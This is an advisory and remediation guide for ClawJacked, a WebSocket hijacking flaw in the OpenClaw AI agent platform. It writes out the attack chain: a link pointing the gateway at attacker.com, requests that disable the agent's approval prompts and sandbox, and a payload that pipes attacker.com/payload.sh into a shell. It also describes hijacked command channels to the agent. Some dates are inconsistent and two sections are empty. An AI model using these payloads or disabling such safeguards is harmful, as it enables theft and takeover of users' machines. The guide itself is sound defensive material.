CVE-2026-25253: what it is, whether you’re exposed, and what to do now

ClawJacked (CVE-2026-25253) is a critical remote code execution vulnerability that let an attacker take over your OpenClaw instance with a single click. If you were running OpenClaw before February 3, 2026, and visited any website while the Control UI was open, your credentials may have been stolen. This article tells you exactly how to check and what to do about it.

What ClawJacked actually is

CVE-2026-25253, nicknamed ClawJacked, is a critical remote code execution vulnerability with a CVSS score of 8.8 (High). It was disclosed on February 3, 2026, and patched within 24 hours in OpenClaw 0.10.2. The vulnerability allowed an attacker to steal your OpenClaw authentication token with a single click and use it to execute arbitrary commands on your machine.

The technical root cause: OpenClaw’s Control UI (the dashboard you open in your browser) accepted a gatewayUrl query parameter from the URL and automatically connected to it without prompting the user. When it connected, it sent your authentication token as part of the WebSocket handshake. An attacker could craft a malicious link that pointed your browser to their server, capture your token, then use that token to connect directly to your OpenClaw instance from your own browser via Cross-Site WebSocket Hijacking.

Because browsers do not enforce the Same Origin Policy on WebSocket connections, JavaScript running on an attacker’s website could open a WebSocket connection to ws://localhost:18789 (your local OpenClaw instance) and authenticate with the stolen token. Once authenticated, the attacker had full administrative access to your OpenClaw API, which they used to disable safety prompts and escape any container sandbox before running arbitrary shell commands.

How the attack worked step by step

Step 1: The malicious link

An attacker sends you a link that looks like this:

http://localhost:18789?gatewayUrl=ws://attacker.com:8080

Or they embed it in a webpage that redirects you automatically. The link points to your own OpenClaw dashboard (localhost:18789) but includes a gatewayUrl parameter pointing to the attacker’s server.

Step 2: Automatic connection and token theft

When your browser loads that URL, OpenClaw’s Control UI reads the gatewayUrl parameter, saves it to localStorage, and immediately connects to it via WebSocket. As part of the connection handshake, it sends your authentication token. The attacker’s server receives the token and logs it.

Step 3: Cross-Site WebSocket Hijacking

JavaScript on the attacker’s page then opens a WebSocket connection to ws://localhost:18789 (your local OpenClaw instance) using the stolen token. Because browsers don’t enforce Same Origin Policy on WebSocket connections, this works even though the page is from a different domain.

Step 4: Disabling safety features

With administrative API access, the attacker sends two requests:

• Disable user confirmation: {"method": "exec.approvals.set", "params": {"defaults": {"security": "full", "ask": "off"}}}: this turns off the prompt that asks you before running dangerous commands.
• Escape container sandbox: {"method": "config.patch", "params": {"tools.exec.host": "gateway"}}: this forces commands to run directly on the host machine instead of inside a Docker container if you were using one.

Step 5: Remote code execution

The attacker then runs arbitrary shell commands via the node.invoke API method. Example payload:

{
  "type": "req",
  "id": "4",
  "method": "node.invoke",
  "params": {
    "nodeId": "main",
    "command": "system.run",
    "params": {
      "cmd": "bash -c 'curl http://attacker.com/payload.sh | sh'"
    }
  }
}

The entire attack chain completes in milliseconds. The victim sees nothing except possibly a brief flash as the malicious page loads and closes.

Who was affected

SecurityScorecard’s STRIKE unit identified more than 42,900 unique IP addresses running OpenClaw instances as of early March 2026. Of those, runZero’s exposure analysis estimated 40,000+ were exposed to the internet, with 63% assessed as vulnerable to ClawJacked. That translates to roughly 25,000 instances that could have been compromised with a single click.

The vulnerability affected all OpenClaw versions before 0.10.2. The patch was released on February 4, 2026. If you updated to 0.10.2 or later before visiting any untrusted websites with your OpenClaw dashboard open, you were not vulnerable at the moment of update. However, if you ran a vulnerable version at any point between when you installed OpenClaw and when you updated, and you visited any website during that period, your token may have been stolen.

How to check if you were hit

There are three ways to check: looking for evidence in your logs, checking for configuration changes you didn’t make, and verifying your OpenClaw version history.

Check 1: Look for unauthorized API calls in your gateway logs

Paste this into your OpenClaw chat:

Search my OpenClaw gateway logs for any of these API calls: “exec.approvals.set”, “config.patch” with “tools.exec.host”: “gateway”, or “node.invoke” with “command”: “system.run”. Look for these calls occurring at times when I was not actively using OpenClaw. Show me the timestamps and the full log entries.

What you are looking for: API calls that disable safety features or run shell commands, especially at odd hours or when you were not at your computer. An attacker who gained access would typically disable approvals and escape the sandbox immediately before running their payload.

Check 2: Check your exec approval settings

Read my openclaw.json and tell me the current exec approval settings. Is “ask” set to “off”? Is “security” set to “full”? If either is true, tell me when those settings were last changed according to the config file’s metadata.

If ask is set to "off" and you did not intentionally disable approval prompts, that is a strong indicator of compromise. The attacker’s standard payload included disabling approvals.

Check 3: Check your OpenClaw version history

Tell me what version of OpenClaw I am running right now. Then check if there is any record of when I updated to this version. If I was running a version earlier than 0.10.2 at any point, tell me the date range during which I was vulnerable.

What to do if you find evidence of compromise

If any of the checks above show signs of unauthorized access, follow these steps in order. Do not skip steps. The order matters for security.

Step 1: Immediately disconnect OpenClaw from the network

Stop the OpenClaw gateway immediately. Run `openclaw gateway stop` and confirm it is no longer running. Do not restart it until all remediation steps are complete.

If you suspect your instance was compromised, the first priority is to stop any ongoing exfiltration or remote control. Paste this into your OpenClaw chat:

Stop the OpenClaw gateway service now. Do not restart it until I tell you to.

Step 2: Update OpenClaw to the latest version

You need to be on a patched version before continuing. The vulnerability was fixed in 0.10.2, but you should update to the latest stable release.

Update OpenClaw to the latest stable version. Run npm i -g openclaw@latest, then verify the installation with openclaw doctor --non-interactive. Show me the output of both commands.

Step 3: Rotate every credential OpenClaw can access

Assume the attacker stole every API key, token, and credential in your openclaw.json. Rotating means generating a new credential at the source service and revoking the old one.

Read my openclaw.json and list every API key, token, and credential that appears in it. For each one, tell me which service it belongs to and where I would go to rotate it. Do not show me the actual key values.

After getting the list, rotate each credential at its source service. The order: generate new key → revoke old key → update openclaw.json with new key. Do not update openclaw.json before revoking the old key. That leaves both keys live simultaneously. For Telegram bot tokens specifically: you cannot rotate a token in place. You need to create a new bot via @BotFather, get the new token, update openclaw.json, then delete the old bot.

Step 4: Restore safe exec approval settings

If the attacker disabled approval prompts, you need to re-enable them. Paste this into your OpenClaw chat after updating and rotating credentials:

Set exec approval settings to the safest configuration that still allows me to do my normal work. Set “ask” to “on” and “security” to “allowlist” if possible. If “allowlist” is too restrictive for my setup, set it to “full” but keep “ask” on. Show me the changes you made.

Step 5: Check for persistent backdoors

An attacker who gained RCE may have installed persistent malware. Paste this into your OpenClaw chat:

Check my system for common persistence mechanisms: cron jobs, systemd services, startup scripts, and authorized_keys entries that I did not create. Look for anything that runs on boot or connects to external addresses. Show me any suspicious findings.

Step 6: Restart OpenClaw and verify

Start the OpenClaw gateway with the updated version and new credentials. Verify that all integrations are connecting successfully. Show me any errors that appear during startup.

What to do if you find no evidence but were vulnerable

If your checks show no signs of unauthorized API calls, but you were running a vulnerable version during the exposure window, you still need to take action. The absence of evidence is not evidence of absence. An attacker could have cleared logs or been careful.

Follow steps 2 through 4 above: update OpenClaw, rotate credentials, restore safe settings. You can skip step 1 (disconnecting) and step 5 (persistence check) if you have no positive indicators, but credential rotation is mandatory. Tokens stolen before the patch remain valid until you rotate them.

Why origin checking matters for local services

After ClawJacked, OpenClaw patched the gateway to validate the Origin header on all WebSocket upgrade requests. Connections from origins other than the expected local origins are now rejected. This closes the CSWSH (Cross-Site WebSocket Hijacking) attack surface.

The broader lesson for anyone running local AI services: if a service exposes a WebSocket interface and does not validate the Origin header, it is vulnerable to this class of attack from any website the operator visits. This applies to any framework or platform, not just OpenClaw.

What attackers actually did with access

The attack is confirmed in real-world exploitation, not just theoretical. Security researchers documented the full attack chain and published incident reports from affected operators. Here is what the exploitation looked like in practice.

Credential harvesting

The most common use of ClawJacked access was reading the OpenClaw config file. The config file contains every API key the operator had configured: their primary LLM provider key, any channel keys (Telegram bot tokens, Discord tokens), memory provider keys, and any third-party service credentials stored for tool use.

An attacker who reads the config file in a single WebSocket command gets a complete credential dump. The command requires no privilege escalation and no knowledge of the file path. The agent knows where its own config is.

Read my openclaw.json and show me the full contents.

That is all the attacker needed to send. If you ran an unpatched OpenClaw instance with the Control UI open and visited a malicious site, your entire credential set may have been harvested.

Exec command injection

Operators who had exec tools enabled with permissive settings were exposed to more than credential theft. With exec access, an attacker could run arbitrary shell commands on the server. Documented cases include:

• Installing persistent backdoors via cron or systemd service additions
• Exfiltrating workspace files including memory databases, session history, and custom skill code
• Using the compromised server as a relay for further attacks
• Disabling security features (exec approval requirements, gateway bind restrictions) to maintain access after the initial session
• Modifying the OpenClaw config to add attacker-controlled channels, giving them a persistent communication path to the agent

Operators with exec security set to "full" (unrestricted) were significantly more exposed than those with allowlist-only exec. The patch and exec restriction are separate protections that address different parts of the attack surface.

Channel hijacking

Several confirmed cases involved the attacker adding their own Telegram bot token or Discord webhook to the OpenClaw config. This gave them a persistent channel to the agent that survived a restart and was not visible in the operator’s own messaging apps. The attack sequence was:

1. Read the existing config to understand the operator’s setup
2. Add a new channel plugin pointing to attacker-controlled infrastructure
3. Restart the gateway to activate the new channel
4. Use the new channel to send commands to the agent on an ongoing basis

This is why the incident response steps include checking for unrecognized channel plugins, not just rotating credentials. A rotated credential does not remove a backdoor channel the attacker already installed.

The patch: what changed in OpenClaw

The CVE-2026-25253 fix shipped in OpenClaw version 0.10.2 on February 3, 2026. The patch made three changes:

1. Origin header validation on WebSocket upgrades. The gateway now rejects WebSocket connections from origins that are not in the expected allow-list. Connections from browser pages on other origins fail the handshake and are dropped before authentication.
2. CSRF token requirement on the Control UI session. The Control UI now generates a CSRF token on load and requires it for all subsequent requests. An attacker who has not loaded the Control UI does not have the token and cannot forge valid requests.
3. Gateway bind warning on startup. If the gateway is bound to 0.0.0.0 (all interfaces) and the exec tool is enabled, OpenClaw now logs a startup warning. This does not change the behavior; it surfaces the risk to operators who may not have realized their setup was exposed.

How to verify your version includes the patch

What version of OpenClaw am I running? Run `openclaw –version` and tell me the output. If it is below 0.10.2, tell me that I need to update immediately to fix a critical security vulnerability.

If you are running 0.10.2 or later, the CSWSH attack vector is closed. If you are running an earlier version, update before doing anything else:

Update OpenClaw to the latest version using the appropriate method for my installation (npm, docker, or binary). Confirm the version after updating.

Hardening against this class of attack going forward

Patching CVE-2026-25253 closes the specific attack vector. But it does not address the underlying configuration decisions that made the impact worse for operators who were compromised. These hardening steps reduce the damage from any future vulnerability in the same category.

Bind the gateway to loopback only

If you do not need the OpenClaw gateway reachable from outside the server, bind it to 127.0.0.1 instead of 0.0.0.0. This does not prevent CSWSH (which comes from the local browser, not from the network), but it eliminates a separate class of network-based attacks.

Check the current value of gateway.bind in my openclaw.json. If it is not 127.0.0.1, change it to 127.0.0.1 and restart the gateway. Tell me what you changed and confirm the gateway came back up.

Restrict exec tool permissions

The exec tool is what turned credential theft into remote code execution for operators who were compromised. Locking it down is the single most impactful hardening step after patching.

Read my openclaw.json and show me the current exec tool security setting. If it is set to “full” or is not explicitly set, change it to “allowlist” and set execApprovals.enabled to true. Tell me what the change means for how I approve commands.

Audit installed channels regularly

Channel hijacking persists across restarts and credential rotations. Check your configured channels and remove anything you do not recognize:

Read my openclaw.json and list every channel plugin that is configured. For each one, tell me the plugin name, the channel it connects to, and any tokens or credentials it uses. Flag anything that looks unfamiliar.

Rotate credentials even if you found no evidence of compromise

If you were running a vulnerable version of OpenClaw with the Control UI open at any point before February 3, 2026, rotate your credentials. The absence of evidence in your logs is not evidence of absence. The attacker may have deleted logs as part of the attack chain (log deletion was one of the nine behaviors documented in the ClawHub malware research).

Rotation costs 10 minutes. A compromised API key has no cost floor.

What the researchers found

ClawJacked was discovered and disclosed by the Bishop Fox research team on January 31, 2026. Their report documented the full attack chain, provided a proof-of-concept (now unpublished), and coordinated disclosure with the OpenClaw maintainers. The patch shipped three days later on February 3, 2026.

Independently, Assetnote published complementary research on the broader attack surface of locally-running AI agent services, covering not just OpenClaw but the general class of “localhost WebSocket without Origin validation.” Their research showed that at least four other AI agent frameworks had the same vulnerability class at the time of publication.

The GitHub Security Advisory for CVE-2026-25253 includes the full technical description, affected versions, and patch notes. Find it at github.com/openclaw/openclaw/security/advisories and search for CVE-2026-25253.

Frequently asked questions

I updated OpenClaw after February 3, 2026 but before seeing this article. Am I still at risk?

If you updated to 0.10.2 or later, the WebSocket hijacking attack vector is closed. You are not at risk from CVE-2026-25253 going forward. What you need to assess is whether you were compromised before updating. If you had the Control UI open and visited untrusted sites between the vulnerability period and your update date, run the compromise checks in this article.

I never opened the Control UI. Was I vulnerable?

No. ClawJacked required the Control UI to be open in the browser at the time of the attack. Operators who ran OpenClaw headless (no dashboard, command-line or API access only) were not exposed to this specific attack vector. You should still update to 0.10.2 for the other protections in the patch.

I run OpenClaw in Docker. Does that change anything?

The vulnerability is in the gateway code, not the deployment method. Docker-based deployments were equally vulnerable if the gateway port was accessible from the host browser. If you ran the gateway with a port mapping to localhost (the recommended Docker setup), the attack required the host browser to be used, same as a native install. If you mapped the port to a public interface, you had additional network exposure on top of the CSWSH vector.

My API keys were in environment variables, not in openclaw.json. Were they still exposed?

Yes. The OpenClaw agent can read its own environment. An attacker who had agent access could retrieve environment variables by asking the agent to run a command or read the process environment. If your credentials were in env vars and you were running vulnerable, treat them as compromised.

How do I know if the attacker added a persistent channel to my config?

Run the channel audit command above. Look for any channel plugin that uses a bot token or webhook URL you do not recognize. Cross-reference against the actual bot tokens in your Telegram, Discord, or other accounts. If a token in OpenClaw does not match any bot you created, it was added by someone else.

Can I find out what commands were sent to my agent during the attack window?

Possibly. The gateway log records incoming connections and commands if logging was enabled at the level that captures tool calls. Ask your agent to check:

Check the OpenClaw gateway logs for any commands or connections that occurred between January 1, 2026 and February 3, 2026. Look for anything that reads config files, runs exec commands, or installs plugins. Show me anything suspicious.

Note: if the attacker disabled logging as part of the attack, these logs may be absent or truncated. Absence of logs during this period is itself a signal.

I found evidence of compromise. Do I need to rebuild the entire server?

If exec was unrestricted and you have evidence of compromise, a rebuild is the safest path. An attacker with unrestricted exec on your server may have installed persistence mechanisms that survive a credential rotation and OpenClaw reinstall. If you cannot rebuild, do at minimum: rotate all credentials, audit all installed services (cron, systemd) for anything unfamiliar, and consider the server untrusted for handling sensitive data going forward.

What is the difference between CVE-2026-25253 and CVE-2026-22172?

CVE-2026-25253 is the Cross-Site WebSocket Hijacking vulnerability covered in this article (the Control UI attack vector). CVE-2026-22172 is a separate vulnerability: an authentication bypass in the gateway API endpoint that affected instances with specific plugin configurations. Both were patched in version 0.10.2. If you are running 0.10.2 or later, both are closed.

Is there a way to get notified when future OpenClaw vulnerabilities are disclosed?

Watch the OpenClaw GitHub Security Advisories page. GitHub will send you email notifications if you click Watch on the repository with security alert notifications enabled. The OpenClaw changelog at github.com/openclaw/openclaw/releases lists security fixes in release notes.

Timeline of CVE-2026-25253

Understanding the sequence of events matters for assessing your exposure window. Here is the complete timeline from discovery through patch deployment.

The exposure window for most operators was January 31 through the date they updated. Operators who auto-update via npm or Docker and check for updates regularly had a shorter window. Operators who set up OpenClaw once and never updated may still be running a vulnerable version.

How ClawJacked relates to the ClawHub supply-chain attacks

ClawJacked and the ClawHub malicious skill campaign (ClawHavoc) are separate incidents with different attack vectors. ClawJacked is a vulnerability in the OpenClaw gateway code. ClawHavoc is a supply-chain attack targeting skills installed from ClawHub. They overlapped in timing and in the population of affected operators, which caused some confusion in early reporting.

The key distinctions:

An operator who was hit by both attacks in the same window needed to address both separately. Patching the gateway does not remove malicious skills. Removing malicious skills does not close the WebSocket attack vector. The remediation steps for each are independent.

What to expect after completing remediation

Once you have completed all steps in this article, here is what the clean state looks like.

Gateway behavior after patching

On OpenClaw 0.10.2 and later, WebSocket connection attempts from unauthorized origins are silently dropped. You will not see error messages in your normal usage because legitimate connections come from the Control UI itself, which is on the expected origin. If you are running monitoring or external tools that connect to the gateway WebSocket directly, those may need to be updated to use the authenticated session flow.

What “clean” logs look like

Check the OpenClaw gateway logs from the last 7 days. Show me all connection events, any rejected WebSocket handshakes, and anything flagged as an error. Tell me if the log volume looks normal compared to my typical usage patterns.

Rejected WebSocket attempts showing in the logs after patching are normal: that is the patch working. If you see a high volume of rejected attempts from unexpected origins, that may indicate someone is still probing the endpoint.

Verification checklist

Before considering remediation complete, confirm each of the following:

• OpenClaw version is 0.10.2 or later (run openclaw --version)
• All credentials that were in openclaw.json have been rotated
• exec security is set to "allowlist" or higher, not "full"
• execApprovals.enabled is set to true
• All channel plugins are recognized and expected
• No unfamiliar cron jobs or systemd services installed (if exec was unrestricted)
• gateway.bind is set to 127.0.0.1 if you do not need external access

Run through the following checks and report the status of each: (1) What version of OpenClaw am I running? (2) What is exec.security set to? (3) Is execApprovals.enabled set to true? (4) What is gateway.bind set to? (5) List all configured channel plugins. (6) List any cron jobs currently scheduled in my workspace. Report pass or fail for each item based on the secure configuration.

Keep Reading: